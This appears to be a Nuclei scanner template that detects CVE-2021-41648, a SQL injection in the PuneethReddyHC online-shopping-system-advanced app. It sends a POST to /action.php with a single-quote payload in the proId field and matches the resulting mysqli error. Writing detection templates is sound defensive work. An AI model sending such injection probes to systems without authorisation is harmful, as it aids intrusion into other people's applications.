41 lines
1.0 KiB
YAML
41 lines
1.0 KiB
YAML
id: CVE-2021-41648
|
|
|
|
info:
|
|
name: PuneethReddyHC online-shopping-system-advanced SQL Injection action.php
|
|
author: daffainfo
|
|
severity: high
|
|
description: An un-authenticated SQL Injection exists in PuneethReddyHC online-shopping-system-advanced through the /action.php prId parameter. Using a post request does not sanitize the user input.
|
|
reference: https://github.com/MobiusBinary/CVE-2021-41648
|
|
tags: cve,cve2021,sqli,injection
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
|
|
cvss-score: 7.50
|
|
cve-id: CVE-2021-41648
|
|
cwe-id: CWE-89
|
|
|
|
requests:
|
|
- method: POST
|
|
path:
|
|
- "{{BaseURL}}/action.php"
|
|
|
|
body: "proId=1'&addToCart=1"
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
|
|
- type: word
|
|
words:
|
|
- "text/html"
|
|
part: header
|
|
|
|
- type: word
|
|
words:
|
|
- "Warning: mysqli_num_rows() expects parameter 1 to be"
|
|
- "xdebug-error xe-warning"
|
|
part: body
|
|
condition: and
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|